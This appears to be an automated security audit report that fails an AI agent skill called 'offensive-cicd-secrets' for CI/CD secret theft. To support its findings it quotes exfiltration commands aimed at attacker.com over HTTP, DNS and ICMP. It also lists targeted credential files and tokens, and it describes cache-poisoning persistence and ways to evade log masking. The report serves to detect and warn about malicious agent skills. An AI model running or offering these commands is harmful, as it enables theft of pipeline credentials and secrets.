offensive-cicd-secrets
Fail
Audited by Gen Agent Trust Hub on Oct 6, 2026
Risk Level: HIGHDATA_EXFILTRATIONCREDENTIALS_UNSAFECOMMAND_EXECUTIONPERSISTENCEOBFUSCATIONDYNAMIC_EXECUTION
Full Analysis
- [DATA_EXFILTRATION]: The skill provides multiple commands for exfiltrating environment variables and secrets to an external domain (attacker.com). Evidence includes usage of
curl -sS -X POST -d @- https://attacker.com/collectfor HTTP exfiltration,nslookup "${secret}.exfil.attacker.com"for DNS-based exfiltration, andping -c 1 -p "$chunk" attacker.comfor ICMP-based exfiltration. - [CREDENTIALS_UNSAFE]: The instructions specifically target the extraction of highly sensitive files and credentials. Targeted paths include
~/.aws/credentials,~/.ssh/id_rsa,~/.ssh/*.pem,.env, and~/.docker/config.json. It also targets platform-specific secrets such asGITHUB_TOKEN,CI_JOB_TOKEN, and AWS/Azure/GCP service account keys. - [COMMAND_EXECUTION]: The skill utilizes several system utilities to facilitate the collection and transmission of data. This includes the usage of
curl,nslookup,ping, andxxdfor non-standard purposes like exfiltration, as well asenv,printenv, andstrings /proc/self/environto harvest credentials from memory and the environment. - [PERSISTENCE]: The skill describes a persistence and lateral movement technique through CI/CD cache poisoning. It provides a payload to inject exfiltration scripts into cached dependencies (e.g.,
~/.npm/_preinstall/exfil.sh) which executes in subsequent pipeline runs. - [OBFUSCATION]: The skill provides specific methods to bypass CI/CD log masking, which is a form of defense evasion. Techniques include Base64 encoding (
env | base64), string reversal (env | rev), and hex encoding (env | xxd). It also provides a loop to extract secrets character-by-character to defeat advanced masking filters. - [DYNAMIC_EXECUTION]: The skill provides templates for generating executable scripts at runtime. Specifically, it demonstrates creating a shell script (
exfil.sh) and setting execution permissions (chmod +x) to facilitate automated data theft during the build process.
Recommendations
- AI detected serious security threats
Audit Metadata